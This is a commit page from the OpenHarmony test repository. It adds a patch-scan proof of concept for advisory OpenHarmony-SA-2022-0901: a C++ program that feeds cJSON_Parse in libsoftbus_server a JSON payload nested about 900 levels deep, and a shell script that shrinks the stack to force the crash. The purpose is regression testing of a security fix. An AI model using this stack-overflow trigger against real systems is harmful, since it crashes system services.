Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
OpenHarmony
Xts Acts
提交
3da50ad7
X
Xts Acts
项目概览
OpenHarmony
/
Xts Acts
1 年多 前同步成功
通知
9
Star
22
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
X
Xts Acts
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
提交
Issue看板
未验证
提交
3da50ad7
编写于
3月 07, 2023
作者:
O
openharmony_ci
提交者:
Gitee
3月 07, 2023
浏览文件
操作
浏览文件
下载
差异文件
!7782 提交OpenHarmony-SA-2022-0901动态测试用例
Merge pull request !7782 from jingyu123412/master
上级
ab47ec8c
3ea457e9
变更
2
隐藏空白更改
内联
并排
Showing
2 changed file
with
92 addition
and
0 deletion
+92
-0
demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp
...t/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp
+69
-0
demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.sh
...st/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.sh
+23
-0
未找到文件。
demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.cpp
0 → 100644
浏览文件 @
3da50ad7
/*
* Copyright (c) 2023 Huawei Device Co., Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
/* The cJSON structure: */
typedef
struct
cJSON
{
struct
cJSON
*
next
;
struct
cJSON
*
prev
;
struct
cJSON
*
child
;
int
type
;
char
*
valuestring
;
int
valueint
;
double
valuedouble
;
char
*
string
;
}
cJSON
;
int
main
()
{
void
*
handle
;
// 打开共享库libsoftbus_server.z.so
handle
=
dlopen
(
"/system/lib/libsoftbus_server.z.so"
,
RTLD_LAZY
);
if
(
!
handle
)
{
fprintf
(
stderr
,
"Error: %s
\n
"
,
dlerror
());
return
1
;
}
// 获取函数cJSON_Parse地址
typedef
cJSON
*
(
*
Func
)(
char
*
);
Func
cJSON_Parse
=
reinterpret_cast
<
Func
>
(
dlsym
(
handle
,
"cJSON_Parse"
));
if
(
cJSON_Parse
==
NULL
)
{
fprintf
(
stderr
,
"Error: %s
\n
"
,
dlerror
());
dlclose
(
handle
);
return
1
;
}
// 准备一个具有900层嵌套结构的json数据
char
*
json_string
=
"{
\"
a
\"
:[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]}"
;
cJSON
*
root
=
cJSON_Parse
(
json_string
);
// cJSON_Parse方法解析json数据
if
(
root
==
NULL
)
{
// 解析json数据返回值为null,说明设置了最大嵌套层数,修复了漏洞
printf
(
"OpenHarmony-SA-2022-0901 : not vulnerable
\n
"
);
return
1
;
}
// 返回值不为null,没有修复漏洞,应该收到signal 11段错误提示
printf
(
"OpenHarmony-SA-2022-0901 : vulnerable
\n
"
);
printf
(
"But the vulnerability trigger failed
\n
"
);
return
0
;
}
demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0901/poc.sh
0 → 100644
浏览文件 @
3da50ad7
#!/bin/bash
# Copyright (C) 2023 Huawei Device Co., Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#//OpenHarmony标准系统中cJSON库解析900层的嵌套json数据大概会占用60KB栈空间
#修改栈的存储上限,模拟栈资源紧缺的情况,便于触发栈溢出
#或者也可以继续增加嵌套的层数,使栈溢出,每增加一层会多占用64B的栈空间
ulimit
-s
60
#运行poc可执行程序
./poc
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录